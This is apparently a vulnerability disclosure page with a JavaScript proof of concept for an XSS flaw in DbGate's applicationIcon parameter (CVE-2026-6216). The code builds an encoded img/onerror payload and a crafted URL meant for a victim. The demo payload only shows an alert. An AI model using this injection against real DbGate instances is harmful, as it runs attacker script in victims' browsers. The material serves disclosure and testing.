CVE-2026-6216 DbGate SVG图标处理XSS漏洞

// Proof of Concept for CVE-2026-6216 // Vulnerability: Stored/Reflected XSS in applicationIcon parameter // Target: DbGate <= 7.1.4 // Step 1: Create a malicious payload targeting the applicationIcon parameter var payload = '"><img src=x onerror=alert(1)>'; // Step 2: Encode the payload to be URL safe var encodedPayload = encodeURIComponent(payload); // Step 3: Simulate the request to the vulnerable endpoint // In a real scenario, this URL is sent to the victim var targetUrl = "http://target-dbgate-instance.com/endpoint?applicationIcon=" + encodedPayload; console.log("[+] Exploit URL: " + targetUrl); // Note: When the victim loads the page, the injected script will execute. // This demonstrates the lack of sanitization in the SVG Icon handler.